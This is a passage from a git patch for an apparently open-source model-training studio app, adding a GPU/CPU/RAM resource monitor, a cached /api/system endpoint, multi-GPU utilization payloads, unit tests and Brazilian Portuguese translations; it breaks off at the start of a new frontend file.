#6509: Cpu icon, VRAM percent, system polling - model-inspector: use the exported CpuIcon (Cpu is not a Hugeicons export) - app-sidebar: guard the VRAM percent on totalVram to avoid Infinity, and reset the system poll cache only after each request settles so a slow probe is reused instead of stacking overlapping requests - use-gpu-info: populate CPU/RAM on hosts without a GPU - progress-section: label GPUs by visible_ordinal instead of array index - hub-page: base the RAM label on systemRamTotalGb - usage-examples: emit JS sampling and tool options at the top level instead of nesting them under extra_body (the JS SDK does not unwrap extra_body) - main: read torch and transformers versions from package metadata instead of importing the libraries on every system poll, and guard the VRAM math against null values - hardware: translate a leftover comment to English * Harden /api/system: guard psutil.boot_time for PR #6509 Simulating restricted containers and some VMs (where psutil.boot_time can raise) showed the /api/system endpoint would 500 on the unguarded boot_time call, the same failure class already handled for cpu_freq, disk_usage, and Process. Wrap boot_time and return uptime_seconds as null when it is unavailable so the sidebar monitor degrades gracefully instead of breaking. Widen the uptime_seconds type to number | null to match. * Studio: make the sidebar hardware monitor a toggle (default on) for PR #6509 Adds a "Show hardware monitor" switch under Settings > Appearance > Layout, backed by a localStorage preference (default on), mirroring the existing useSidebarPin pattern. When turned off, the sidebar hides the VRAM/RAM meters and useSystemInfo stops the 3s /api/system poll entirely, so no nvidia-smi / SMI probes run while the monitor is disabled. Adds the en and pt-BR strings. * Studio: default the sidebar hardware monitor to off (opt-in) for PR #6509 * Studio pt-BR: fix three small translation defects for PR #6509 - learningRateDescription: "5e-5 for CPT" -> "5e-5 para CPT" (leftover English) - exportScopeRecents: "Recents" -> "Recentes" (untranslated) - relativeMonthsAgo/relativeYearsAgo: add the missing space ("há {count} meses"/ "há {count} anos") so they no longer render as "há 3meses" * Studio pt-BR: translate the last 10 fallback keys for PR #6509 Adds the settings.general.storage block (Armazenamento) and the settings.chat.modelDisclaimer pair, so pt-BR now covers all en keys (679/679) with no English fallbacks. * Studio: hide sidebar VRAM row on CPU-only hosts for PR #6509 * Studio: tighten and trim code comments for PR #6509 * fix: UI issue in the stop button dialog box (fine-tuning) * Studio pt-BR: translate 18 new keys from main merge (password dialog, GGUF export, dataset streaming) for PR #6509 * Rounding to GB * Fix/adjust System resources tab for PR #6509 * Fix/adjust GPU monitor review items for PR #6509 * Fix/adjust remaining GPU monitor review items for PR #6509 * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Fix/adjust MLX resource fallback for PR #6509 * floating window implementation * resize for floating window * Fix resource monitor review items * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Restore frontend optional dependency lock entries * Make GPU selection tests hermetic * Fix GPU monitor CI test failures * Bound MLX GGUF reload smoke * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Fix MLX GGUF reload smoke exit --------- Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com> Co-authored-by: Daniel Han Co-authored-by: wasimysaid --- studio/backend/main.py | 131 ++- .../backend/tests/test_anthropic_messages.py | 8 +- studio/backend/tests/test_gpu_selection.py | 231 ++++- studio/backend/utils/hardware/hardware.py | 272 +++-- .../src/components/floating-monitor.tsx | 160 +++ .../features/hub/catalog/models-header.tsx | 6 +- studio/frontend/src/features/hub/hub-page.tsx | 11 +- .../settings/components/usage-examples.tsx | 149 ++- .../src/features/settings/settings-dialog.tsx | 208 ++-- .../settings/stores/monitor-overlay-store.ts | 24 + .../settings/stores/settings-dialog-store.ts | 2 + .../features/settings/tabs/general-tab.tsx | 1 + .../features/settings/tabs/resources-tab.tsx | 477 +++++++++ .../studio/sections/progress-section.tsx | 128 ++- studio/frontend/src/hooks/index.ts | 2 + studio/frontend/src/hooks/use-gpu-info.ts | 47 +- .../frontend/src/hooks/use-gpu-utilization.ts | 6 +- studio/frontend/src/hooks/use-system.ts | 130 +++ studio/frontend/src/i18n/AGENTS.md | 3 +- studio/frontend/src/i18n/check-parity.ts | 6 +- studio/frontend/src/i18n/locales/en.ts | 55 ++ studio/frontend/src/i18n/locales/pt-br.ts | 934 ++++++++++++++++++ studio/frontend/src/i18n/messages.ts | 13 +- tests/studio/install/test_rocm_support.py | 6 +- tests/studio/run_real_mlx_smoke.py | 66 +- 25 files changed, 2691 insertions(+), 385 deletions(-) create mode 100644 studio/frontend/src/components/floating-monitor.tsx create mode 100644 studio/frontend/src/features/settings/stores/monitor-overlay-store.ts create mode 100644 studio/frontend/src/features/settings/tabs/resources-tab.tsx create mode 100644 studio/frontend/src/hooks/use-system.ts create mode 100644 studio/frontend/src/i18n/locales/pt-br.ts diff --git a/studio/backend/main.py b/studio/backend/main.py index 5402e5eb7b..0613a5ae53 100644 --- a/studio/backend/main.py +++ b/studio/backend/main.py @@ -12,6 +12,8 @@ from pathlib import Path as _Path import asyncio from dataclasses import asdict +from typing import Any, Optional + # Suppress C-level dependency warnings globally os.environ["PYTHONWARNINGS"] = "ignore" @@ -36,6 +38,10 @@ if sys.platform == "win32": pass del _win_stream +_SYSTEM_GPU_CACHE_TTL_SECONDS = 10.0 +_system_gpu_cache_lock = threading.Lock() +_system_gpu_cache: Optional[tuple[float, dict[str, Any]]] = None + # ── Windows AMD ROCm DLL injection ────────────────────────────────────────── # Python 3.8+ ignores PATH for extension modules; register ROCm bin dirs with # os.add_dll_directory() so amdhip64.dll etc. are found before any torch import. @@ -226,7 +232,6 @@ import shutil import warnings from contextlib import asynccontextmanager from importlib.metadata import PackageNotFoundError, version as package_version -from typing import Optional from urllib.parse import urlparse @@ -1078,8 +1083,57 @@ async def shutdown_server(request: Request, current_subject: str = Depends(get_c return {"status": "shutting_down"} +def _get_cached_system_gpu_info(logger) -> dict[str, Any]: + """Return merged GPU visibility/utilization with bounded live-probe churn.""" + import time + from utils.hardware import get_backend_visible_gpu_info, get_visible_gpu_utilization + + global _system_gpu_cache + now = time.monotonic() + with _system_gpu_cache_lock: + if _system_gpu_cache is not None: + cached_at, cached_gpu_info = _system_gpu_cache + if now - cached_at < _SYSTEM_GPU_CACHE_TTL_SECONDS: + return cached_gpu_info + + try: + visibility_info = get_backend_visible_gpu_info() or {"available": False, "devices": []} + except Exception as e: + logger.debug(f"Failed to get GPU visibility info: {e}") + visibility_info = {"available": False, "devices": []} + + try: + utilization_info = get_visible_gpu_utilization() or {"devices": []} + except Exception as e: + logger.debug(f"Failed to get GPU utilization info: {e}") + utilization_info = {"devices": []} + + util_devices = {d.get("index"): d for d in utilization_info.get("devices", [])} + enriched_devices = [] + + for dev in visibility_info.get("devices", []): + idx = dev.get("index") + util = util_devices.get(idx, {}) + + total_vram = util.get("vram_total_gb") or dev.get("memory_total_gb") or 0 + used_vram = util.get("vram_used_gb") or 0 + + enriched_dev = dict(dev) + enriched_dev["vram_used_gb"] = used_vram + enriched_dev["vram_free_gb"] = round(total_vram - used_vram, 2) if total_vram else 0 + enriched_dev["vram_utilization_pct"] = util.get("vram_utilization_pct") + enriched_devices.append(enriched_dev) + + gpu_info = { + "available": visibility_info.get("available", False), + "devices": enriched_devices, + } + _system_gpu_cache = (time.monotonic(), gpu_info) + return gpu_info + + @app.get("/api/system") -async def get_system_info(current_subject: str = Depends(get_current_subject)): +def get_system_info(current_subject: str = Depends(get_current_subject)): """Get system information. Auth-gated: the response (platform, Python/GPU, memory, ML packages) can @@ -1088,31 +1142,82 @@ async def get_system_info(current_subject: str = Depends(get_current_subject)): """ import platform import psutil + import os + import time + import logging from utils.hardware import get_device from utils.hardware.hardware import _backend_label - visibility_info = get_backend_visible_gpu_info() - gpu_info = { - "available": visibility_info["available"], - "devices": visibility_info["devices"], - } + logger = logging.getLogger(__name__) + + gpu_info = _get_cached_system_gpu_info(logger) - # CPU & Memory memory = psutil.virtual_memory() + try: + cpu_freq = psutil.cpu_freq() + except Exception as e: + logger.debug(f"Failed to get CPU frequency: {e}") + cpu_freq = None + + try: + disk = psutil.disk_usage(os.path.abspath(os.sep)) + except Exception as e: + logger.debug(f"Failed to get disk usage: {e}") + disk = None + + try: + current_process = psutil.Process(os.getpid()) + process_used_mb = round(current_process.memory_info().rss / 1024**2) + except Exception as e: + logger.debug(f"Failed to get current process memory: {e}") + process_used_mb = 0 + + try: + boot_time = psutil.boot_time() + except Exception as e: + logger.debug(f"Failed to get boot time: {e}") + boot_time = None + + # Read versions from metadata so a 3s poll never imports heavy ML libs (or 500s on their import errors). + from importlib.metadata import PackageNotFoundError, version as pkg_version + + ml_packages = {} + for pkg in ("torch", "transformers"): + try: + ml_packages[pkg] = pkg_version(pkg) + except PackageNotFoundError: + pass + except Exception as e: + logger.debug(f"Failed to read {pkg} version: {e}") + return { "platform": platform.platform(), "python_version": platform.python_version(), - # _backend_label so /api/system reports "rocm" (not "cuda") on AMD, - # matching /api/hardware and /api/gpu-visibility. "device_backend": _backend_label(get_device()), - "cpu_count": psutil.cpu_count(), + "cpu_count": psutil.cpu_count(logical = True), + "uptime_seconds": max(0, round(time.time() - boot_time)) if boot_time else None, + "cpu": { + "logical_count": psutil.cpu_count(logical = True), + "physical_count": psutil.cpu_count(logical = False), + "usage_percent": psutil.cpu_percent(interval = None), + "frequency_mhz": round(cpu_freq.current, 2) + if cpu_freq and cpu_freq.current is not None + else None, + }, "memory": { - "total_gb": round(memory.total / 1e9, 2), - "available_gb": round(memory.available / 1e9, 2), + "total_gb": round(memory.total / 1024**3, 2), + "available_gb": round(memory.available / 1024**3, 2), "percent_used": memory.percent, + "process_used_mb": process_used_mb, + }, + "disk": { + "total_gb": round(disk.total / 1e9, 2) if disk else 0, + "free_gb": round(disk.free / 1e9, 2) if disk else 0, + "percent_used": disk.percent if disk else 0, }, "gpu": gpu_info, + "ml_packages": ml_packages, } diff --git a/studio/backend/tests/test_anthropic_messages.py b/studio/backend/tests/test_anthropic_messages.py index 92a87ce045..a6c1fcda9c 100644 --- a/studio/backend/tests/test_anthropic_messages.py +++ b/studio/backend/tests/test_anthropic_messages.py @@ -128,13 +128,7 @@ class TestToolActionNudge: assert "call render_html once" in nudge def test_balanced_nudge_empty_without_known_tool_categories(self): - assert ( - _build_tool_action_nudge( - tools = [], - model_name = "Llama-3.1-8B-Instruct", - ) - == "" - ) + assert _build_tool_action_nudge(tools = [], model_name = "Llama-3.1-8B-Instruct") == "" # ===================================================================== diff --git a/studio/backend/tests/test_gpu_selection.py b/studio/backend/tests/test_gpu_selection.py index d96f88e4a6..69ad560788 100644 --- a/studio/backend/tests/test_gpu_selection.py +++ b/studio/backend/tests/test_gpu_selection.py @@ -5,9 +5,11 @@ import asyncio import importlib.util import os import re +import sys import unittest +from contextlib import nullcontext from pathlib import Path -from types import SimpleNamespace +from types import ModuleType, SimpleNamespace from unittest.mock import patch from fastapi import HTTPException @@ -22,6 +24,7 @@ from utils.hardware import ( estimate_required_model_memory_gb, get_backend_visible_gpu_info, get_device_map, + get_gpu_utilization, get_offloaded_device_map_entries, get_parent_visible_gpu_ids, get_visible_gpu_utilization, @@ -33,6 +36,24 @@ import utils.hardware.hardware as _hw_module _BACKEND_ROOT = Path(__file__).resolve().parent.parent +async def _inline_to_thread(func, /, *args, **kwargs): + return func(*args, **kwargs) + + +def _fake_unsloth_attention_modules(resolver): + unsloth_module = ModuleType("unsloth") + models_module = ModuleType("unsloth.models") + utils_module = ModuleType("unsloth.models._utils") + utils_module.resolve_attention_implementation = resolver + models_module._utils = utils_module + unsloth_module.models = models_module + return { + "unsloth": unsloth_module, + "unsloth.models": models_module, + "unsloth.models._utils": utils_module, + } + + def _load_route_module(name: str, relative_path: str): spec = importlib.util.spec_from_file_location(name, _BACKEND_ROOT / relative_path) module = importlib.util.module_from_spec(spec) @@ -122,6 +143,139 @@ class TestResolveRequestedGpuIds(_GpuCacheResetMixin, unittest.TestCase): class TestVisibleGpuUtilization(_GpuCacheResetMixin, unittest.TestCase): + def test_gpu_utilization_preserves_primary_shape_with_devices(self): + devices = [ + { + "index": 5, + "visible_ordinal": 0, + "gpu_utilization_pct": 11.0, + "temperature_c": 40.0, + "vram_used_gb": 4.0, + "vram_total_gb": 24.0, + "vram_utilization_pct": 16.7, + "power_draw_w": 80.0, + "power_limit_w": 300.0, + "power_utilization_pct": 26.7, + }, + { + "index": 3, + "visible_ordinal": 1, + "gpu_utilization_pct": 22.0, + "temperature_c": 50.0, + "vram_used_gb": 8.0, + "vram_total_gb": 24.0, + "vram_utilization_pct": 33.3, + "power_draw_w": 120.0, + "power_limit_w": 300.0, + "power_utilization_pct": 40.0, + }, + ] + + with ( + patch("utils.hardware.hardware.get_device", return_value = DeviceType.CUDA), + patch.object(_hw_module, "IS_ROCM", False), + patch( + "utils.hardware.hardware._get_parent_visible_gpu_spec", + return_value = {"raw": "5,3", "numeric_ids": [5, 3]}, + ), + patch( + "utils.hardware.hardware._smi_query", + return_value = { + "available": True, + "devices": devices, + "backend_cuda_visible_devices": "5,3", + "parent_visible_gpu_ids": [5, 3], + "index_kind": "physical", + }, + ), + ): + result = get_gpu_utilization() + + self.assertIsInstance(result, dict) + self.assertTrue(result["available"]) + self.assertEqual(result["backend"], "cuda") + self.assertEqual(result["index"], 5) + self.assertEqual(result["visible_ordinal"], 0) + self.assertEqual(result["vram_total_gb"], 24.0) + self.assertEqual(result["parent_visible_gpu_ids"], [5, 3]) + self.assertEqual([device["index"] for device in result["devices"]], [5, 3]) + + def test_gpu_utilization_cpu_returns_legacy_unavailable_object(self): + with patch("utils.hardware.hardware.get_device", return_value = DeviceType.CPU): + result = get_gpu_utilization() + + self.assertEqual(result, {"available": False, "backend": "cpu", "devices": []}) + + def test_gpu_utilization_mlx_stays_available_without_agx_stats(self): + fake_psutil = ModuleType("psutil") + fake_psutil.virtual_memory = lambda: SimpleNamespace(total = 64 * 1024**3) + + with ( + patch.dict(sys.modules, {"psutil": fake_psutil}), + patch("utils.hardware.hardware.get_device", return_value = DeviceType.MLX), + patch("utils.hardware.hardware._read_apple_gpu_stats", return_value = {}), + patch( + "core.training.get_training_backend", + return_value = SimpleNamespace(_progress = None), + ), + patch("utils.hardware.apple.read_gpu_temperature_c", return_value = None), + patch("utils.hardware.apple.read_gpu_power_w", return_value = None), + ): + result = get_gpu_utilization() + + self.assertTrue(result["available"]) + self.assertEqual(result["backend"], "mlx") + self.assertIsNone(result["gpu_utilization_pct"]) + self.assertEqual(result["vram_used_gb"], 0) + self.assertEqual(result["vram_total_gb"], 64.0) + self.assertEqual(len(result["devices"]), 1) + + def test_gpu_utilization_xpu_uses_visible_devices(self): + with ( + patch("utils.hardware.hardware.get_device", return_value = DeviceType.XPU), + patch( + "utils.hardware.hardware.get_visible_gpu_utilization", + return_value = { + "available": True, + "backend": "xpu", + "parent_visible_gpu_ids": [2, 0], + "index_kind": "physical", + "devices": [ + { + "index": 2, + "visible_ordinal": 1, + "gpu_utilization_pct": None, + "temperature_c": None, + "vram_used_gb": 3.0, + "vram_total_gb": 16.0, + "vram_utilization_pct": 18.8, + "power_draw_w": None, + "power_limit_w": None, + "power_utilization_pct": None, + }, + { + "index": 0, + "visible_ordinal": 0, + "gpu_utilization_pct": None, + "temperature_c": None, + "vram_used_gb": 1.0, + "vram_total_gb": 16.0, + "vram_utilization_pct": 6.3, + "power_draw_w": None, + "power_limit_w": None, + "power_utilization_pct": None, + }, + ], + }, + ), + ): + result = get_gpu_utilization() + + self.assertEqual(result["backend"], "xpu") + self.assertEqual(result["index"], 0) + self.assertEqual(result["visible_ordinal"], 0) + self.assertEqual([device["index"] for device in result["devices"]], [0, 2]) + def test_visible_gpu_utilization_filters_to_parent_visible_ids(self): smi_output = "\n".join( [ @@ -272,6 +426,14 @@ class TestGpuAutoSelection(_GpuCacheResetMixin, unittest.TestCase): def test_get_offloaded_device_map_entries_handles_models_without_device_map(self): self.assertEqual(get_offloaded_device_map_entries(SimpleNamespace()), {}) + @patch( + "utils.hardware.hardware._resolve_model_identifier_for_gpu_estimate", + new = lambda model_name, **_: model_name, + ) + @patch( + "utils.hardware.hardware._load_config_for_gpu_estimate", + new = lambda *_args, **_kwargs: None, + ) def test_estimate_required_memory_formulas(self): eight_gb = 8 * (1024**3) @@ -432,6 +594,7 @@ class TestGpuAutoSelection(_GpuCacheResetMixin, unittest.TestCase): def test_prepare_gpu_selection_preserves_explicit_ids_without_auto_selection(self): with ( + patch("utils.hardware.hardware.get_device", return_value = DeviceType.CUDA), patch( "utils.hardware.hardware.resolve_requested_gpu_ids", return_value = [2, 3], @@ -464,6 +627,7 @@ class TestGpuAutoSelection(_GpuCacheResetMixin, unittest.TestCase): def test_prepare_gpu_selection_preserves_uuid_parent_visibility_in_auto_mode(self): with ( patch.dict(os.environ, {"CUDA_VISIBLE_DEVICES": "GPU-aaa,GPU-bbb"}, clear = True), + patch("utils.hardware.hardware.get_device", return_value = DeviceType.CUDA), patch( "utils.hardware.hardware.estimate_required_model_memory_gb", return_value = ( @@ -582,6 +746,7 @@ class TestPreSpawnGpuResolution(_GpuCacheResetMixin, unittest.TestCase): with ( patch.dict(os.environ, {"CUDA_VISIBLE_DEVICES": "GPU-aaa,GPU-bbb"}, clear = True), + patch("utils.hardware.hardware.get_device", return_value = DeviceType.CUDA), patch( "core.training.training._CTX.Queue", side_effect = [dummy_queue, dummy_queue], @@ -709,14 +874,23 @@ class TestRouteErrors(unittest.TestCase): has_audio_input = False, ) - with patch.object( - inference_route.ModelConfig, - "from_identifier", - return_value = model_config, + with ( + patch.object( + inference_route, + "ModelConfig", + SimpleNamespace(from_identifier = lambda **_kwargs: model_config), + ), + patch.object( + inference_route, + "_guard_chat_load_against_training", + return_value = None, + ), + patch.object(inference_route.asyncio, "to_thread", new = _inline_to_thread), + patch.object(inference_route, "_hf_offline_if_dns_dead", nullcontext), ): with self.assertRaises(HTTPException) as exc_info: asyncio.run( - inference_route.load_model( + inference_route._load_model_impl( request, SimpleNamespace( app = SimpleNamespace( @@ -835,9 +1009,9 @@ class TestRouteErrors(unittest.TestCase): with ( patch.object( - inference_route.ModelConfig, - "from_identifier", - return_value = model_config, + inference_route, + "ModelConfig", + SimpleNamespace(from_identifier = lambda **_kwargs: model_config), ), patch.object( inference_route, @@ -849,6 +1023,13 @@ class TestRouteErrors(unittest.TestCase): "get_llama_cpp_backend", return_value = SimpleNamespace(is_loaded = False), ), + patch.object( + inference_route, + "_guard_chat_load_against_training", + return_value = None, + ), + patch.object(inference_route.asyncio, "to_thread", new = _inline_to_thread), + patch.object(inference_route, "_hf_offline_if_dns_dead", nullcontext), patch( "core.export.get_export_backend", return_value = SimpleNamespace(current_checkpoint = None), @@ -856,7 +1037,7 @@ class TestRouteErrors(unittest.TestCase): ): with self.assertRaises(HTTPException) as exc_info: asyncio.run( - inference_route.load_model( + inference_route._load_model_impl( request, SimpleNamespace( app = SimpleNamespace( @@ -899,9 +1080,9 @@ class TestRouteErrors(unittest.TestCase): with ( patch.object( - inference_route.ModelConfig, - "from_identifier", - return_value = model_config, + inference_route, + "ModelConfig", + SimpleNamespace(from_identifier = lambda **_kwargs: model_config), ), patch.object( inference_route, @@ -913,6 +1094,13 @@ class TestRouteErrors(unittest.TestCase): "get_llama_cpp_backend", return_value = SimpleNamespace(is_loaded = False), ), + patch.object( + inference_route, + "_guard_chat_load_against_training", + return_value = None, + ), + patch.object(inference_route.asyncio, "to_thread", new = _inline_to_thread), + patch.object(inference_route, "_hf_offline_if_dns_dead", nullcontext), patch( "core.export.get_export_backend", return_value = SimpleNamespace(current_checkpoint = None), @@ -920,7 +1108,7 @@ class TestRouteErrors(unittest.TestCase): ): with self.assertRaises(HTTPException) as exc_info: asyncio.run( - inference_route.load_model( + inference_route._load_model_impl( request, SimpleNamespace( app = SimpleNamespace( @@ -1102,10 +1290,7 @@ class TestPerGpuFitGuardAllCounts(unittest.TestCase): cfg._attn_implementation = "eager" return "eager" - with patch( - "unsloth.models._utils.resolve_attention_implementation", - side_effect = _stub_resolver, - ): + with patch.dict(sys.modules, _fake_unsloth_attention_modules(_stub_resolver)): hardware_module._determine_attention_impl_for_gpu_estimate(config) self.assertFalse(hasattr(config, "_attn_implementation")) @@ -1133,10 +1318,7 @@ class TestPerGpuFitGuardAllCounts(unittest.TestCase): with ( patch.object(AutoModelForCausalLM, "_model_mapping", new = None), patch.object(AutoModel, "_model_mapping", new = None), - patch( - "unsloth.models._utils.resolve_attention_implementation", - side_effect = _stub_resolver, - ), + patch.dict(sys.modules, _fake_unsloth_attention_modules(_stub_resolver)), ): result = hardware_module._determine_attention_impl_for_gpu_estimate(config) @@ -1173,10 +1355,7 @@ class TestPerGpuFitGuardAllCounts(unittest.TestCase): inner._attn_implementation = "eager" return "eager" - with patch( - "unsloth.models._utils.resolve_attention_implementation", - side_effect = _stub_resolver, - ): + with patch.dict(sys.modules, _fake_unsloth_attention_modules(_stub_resolver)): hardware_module._determine_attention_impl_for_gpu_estimate(config) self.assertFalse(hasattr(config, "_attn_implementation")) diff --git a/studio/backend/utils/hardware/hardware.py b/studio/backend/utils/hardware/hardware.py index 88a1784b88..cde7070075 100644 --- a/studio/backend/utils/hardware/hardware.py +++ b/studio/backend/utils/hardware/hardware.py @@ -710,82 +710,159 @@ def _rocm_windows_perf_counter_vram_gb() -> tuple[Optional[float], Optional[floa return None, None +def _gpu_utilization_payload( + device: DeviceType, devices: list[Dict[str, Any]], **metadata: Any +) -> Dict[str, Any]: + """Keep the legacy primary-GPU shape and append all visible devices.""" + backend = _backend_label(device) + normalized = [] + for ordinal, raw in enumerate(devices): + dev = dict(raw) + dev.setdefault("available", True) + dev.setdefault("backend", backend) + if dev.get("visible_ordinal") is None: + dev["visible_ordinal"] = ordinal + normalized.append(dev) + + normalized.sort(key = lambda dev: dev.get("visible_ordinal", dev.get("index", 0))) + payload: Dict[str, Any] = { + "available": bool(normalized), + "backend": backend, + "devices": normalized, + } + payload.update(metadata) + if normalized: + payload.update(normalized[0]) + payload["available"] = True + payload["backend"] = normalized[0].get("backend", backend) + payload["devices"] = normalized + return payload + + def get_gpu_utilization() -> Dict[str, Any]: - """Return a live snapshot of device utilization information.""" + """Live utilization snapshot for the primary GPU plus all visible GPUs.""" device = get_device() + if device == DeviceType.XPU: + result = get_visible_gpu_utilization() + return _gpu_utilization_payload( + device, + result.get("devices", []), + parent_visible_gpu_ids = result.get("parent_visible_gpu_ids", []), + index_kind = result.get("index_kind"), + ) + if device == DeviceType.CUDA: - result = _smi_query("get_primary_gpu_utilization") - if result is not None: - result["backend"] = _backend_label(device) - if IS_ROCM: - # Fix unified-memory VRAM on AMD iGPUs (Strix Halo etc.). - _reconcile_primary_rocm_unified_memory(result, _get_parent_visible_gpu_spec()) - return result - # SMI unavailable. On Windows, use Performance Counters (Task Manager - # source) for system-wide VRAM, covering cross-process usage torch can't see. + parent_visible_spec = _get_parent_visible_gpu_spec() + result = _smi_query( + "get_visible_gpu_utilization", + parent_visible_spec["numeric_ids"], + parent_cuda_visible_devices = parent_visible_spec["raw"], + ) + if result is not None and "devices" in result: + devices = result["devices"] + numeric_ids = parent_visible_spec.get("numeric_ids") + if IS_ROCM and numeric_ids is not None: + _reconcile_rocm_unified_memory(result, numeric_ids) + + return _gpu_utilization_payload( + device, + devices, + backend_cuda_visible_devices = result.get("backend_cuda_visible_devices"), + parent_visible_gpu_ids = result.get("parent_visible_gpu_ids", []), + index_kind = result.get("index_kind"), + ) + + # Fallback Windows ROCm if IS_ROCM and platform.system() == "Windows": _win_used, _win_total = _rocm_windows_perf_counter_vram_gb() if _win_used is not None and _win_total is not None: _win_util = _rocm_windows_perf_counter_gpu_util_pct() - return { - "available": True, - "backend": _backend_label(device), - "gpu_utilization_pct": _win_util, - "temperature_c": None, - "vram_used_gb": _win_used, - "vram_total_gb": _win_total, - "vram_utilization_pct": round((_win_used / _win_total) * 100, 1) - if _win_total > 0 - else None, - "power_draw_w": None, - "power_limit_w": None, - "power_utilization_pct": None, - } - # Linux: DRM sysfs gives system-wide VRAM across all processes, no tools needed. + return _gpu_utilization_payload( + device, + [ + { + "available": True, + "backend": _backend_label(device), + "index": 0, + "visible_ordinal": 0, + "gpu_utilization_pct": _win_util, + "temperature_c": None, + "vram_used_gb": _win_used, + "vram_total_gb": _win_total, + "vram_utilization_pct": round((_win_used / _win_total) * 100, 1) + if _win_total > 0 + else None, + "power_draw_w": None, + "power_limit_w": None, + "power_utilization_pct": None, + } + ], + ) + + # Fallback Linux ROCm if IS_ROCM and platform.system() == "Linux": _linux_used, _linux_total = _rocm_linux_sysfs_vram_gb() if _linux_used is not None and _linux_total is not None: _linux_util = _rocm_linux_sysfs_gpu_busy_pct() _linux_temp = _rocm_linux_sysfs_temp_c() _linux_power = _rocm_linux_sysfs_power_w() - return { - "available": True, - "backend": _backend_label(device), - "gpu_utilization_pct": _linux_util, - "temperature_c": _linux_temp, - "vram_used_gb": _linux_used, - "vram_total_gb": _linux_total, - "vram_utilization_pct": round((_linux_used / _linux_total) * 100, 1) - if _linux_total > 0 - else None, - "power_draw_w": _linux_power, - "power_limit_w": None, - "power_utilization_pct": None, - } - # Last resort: torch mem_get_info (process-local). - _visible_spec = _get_parent_visible_gpu_spec() - _numeric_ids = _visible_spec.get("numeric_ids") or [0] - _primary_idx = [_numeric_ids[0]] if _numeric_ids else [0] - _torch_devices = _torch_get_per_device_info(_primary_idx) - if _torch_devices: - _td = _torch_devices[0] - _total = _td["total_gb"] - _used = _td["used_gb"] - return { - "available": True, - "backend": _backend_label(device), - "gpu_utilization_pct": None, - "temperature_c": None, - "vram_used_gb": _used, - "vram_total_gb": _total, - "vram_utilization_pct": round((_used / _total) * 100, 1) if _total > 0 else None, - "power_draw_w": None, - "power_limit_w": None, - "power_utilization_pct": None, - } + return _gpu_utilization_payload( + device, + [ + { + "available": True, + "backend": _backend_label(device), + "index": 0, + "visible_ordinal": 0, + "gpu_utilization_pct": _linux_util, + "temperature_c": _linux_temp, + "vram_used_gb": _linux_used, + "vram_total_gb": _linux_total, + "vram_utilization_pct": round((_linux_used / _linux_total) * 100, 1) + if _linux_total > 0 + else None, + "power_draw_w": _linux_power, + "power_limit_w": None, + "power_utilization_pct": None, + } + ], + ) - # MLX: _read_apple_gpu_stats() carries both VRAM-used and GPU util%. + # Last resort: torch mem_get_info (process-local) for all visible GPUs + _visible_spec = _get_parent_visible_gpu_spec() + _numeric_ids = _visible_spec.get("numeric_ids") or [] + if not _numeric_ids: + visible_count = _torch_get_physical_gpu_count() or 0 + _numeric_ids = list(range(visible_count)) + + _torch_devices = _torch_get_per_device_info(_numeric_ids) + if _torch_devices: + gpu_array = [] + for _td in _torch_devices: + _total = _td["total_gb"] + _used = _td["used_gb"] + gpu_array.append( + { + "available": True, + "backend": _backend_label(device), + "index": _td["index"], + "name": _td.get("name", "Unknown"), + "gpu_utilization_pct": None, + "temperature_c": None, + "vram_used_gb": _used, + "vram_total_gb": _total, + "vram_utilization_pct": round((_used / _total) * 100, 1) + if _total > 0 + else None, + "power_draw_w": None, + "power_limit_w": None, + "power_utilization_pct": None, + } + ) + return _gpu_utilization_payload(device, gpu_array) + + # MLX if device == DeviceType.MLX: try: import psutil @@ -793,9 +870,8 @@ def get_gpu_utilization() -> Dict[str, Any]: total_bytes = psutil.virtual_memory().total except Exception as e: logger.error(f"Error getting MLX GPU utilization: {e}") - return {"available": False, "backend": device.value, "error": str(e)} - if not agx: - return {"available": False, "backend": device.value} + return {"available": False, "backend": device.value, "devices": [], "error": str(e)} + allocated_bytes = agx.get("vram_used_bytes", 0) or 0 vram_used_gb = allocated_bytes / (1024**3) total_gb = total_bytes / (1024**3) @@ -814,37 +890,51 @@ def get_gpu_utilization() -> Dict[str, Any]: from . import apple - return { - "available": True, - "backend": device.value, - "gpu_utilization_pct": agx.get("utilization_pct") if agx else None, - "temperature_c": apple.read_gpu_temperature_c(), - "vram_used_gb": round(vram_used_gb, 2), - "vram_total_gb": round(total_gb, 2), - "vram_utilization_pct": ( - round((vram_used_gb / total_gb) * 100, 1) if total_gb > 0 else None - ), - "power_draw_w": apple.read_gpu_power_w(), - "power_limit_w": None, - "power_utilization_pct": None, - } + return _gpu_utilization_payload( + device, + [ + { + "available": True, + "backend": device.value, + "index": 0, + "visible_ordinal": 0, + "gpu_utilization_pct": agx.get("utilization_pct") if agx else None, + "temperature_c": apple.read_gpu_temperature_c(), + "vram_used_gb": round(vram_used_gb, 2), + "vram_total_gb": round(total_gb, 2), + "vram_utilization_pct": round((vram_used_gb / total_gb) * 100, 1) + if total_gb > 0 + else None, + "power_draw_w": apple.read_gpu_power_w(), + "power_limit_w": None, + "power_utilization_pct": None, + } + ], + ) mem = get_gpu_memory_info() if device != DeviceType.CPU and mem.get("available"): - return { - "available": True, - "backend": _backend_label(device), - "gpu_utilization_pct": None, - "temperature_c": None, - "vram_used_gb": round(mem.get("allocated_gb", 0), 2), - "vram_total_gb": round(mem.get("total_gb", 0), 2), - "vram_utilization_pct": round(mem.get("utilization_pct", 0), 1), - "power_draw_w": None, - "power_limit_w": None, - "power_utilization_pct": None, - } + return _gpu_utilization_payload( + device, + [ + { + "available": True, + "backend": _backend_label(device), + "index": mem.get("device", 0), + "visible_ordinal": 0, + "gpu_utilization_pct": None, + "temperature_c": None, + "vram_used_gb": round(mem.get("allocated_gb", 0), 2), + "vram_total_gb": round(mem.get("total_gb", 0), 2), + "vram_utilization_pct": round(mem.get("utilization_pct", 0), 1), + "power_draw_w": None, + "power_limit_w": None, + "power_utilization_pct": None, + } + ], + ) - return {"available": False, "backend": _backend_label(device)} + return {"available": False, "backend": _backend_label(device), "devices": []} def _apply_unified_memory_correction( diff --git a/studio/frontend/src/components/floating-monitor.tsx b/studio/frontend/src/components/floating-monitor.tsx new file mode 100644 index 0000000000..f02da6612e --- /dev/null +++ 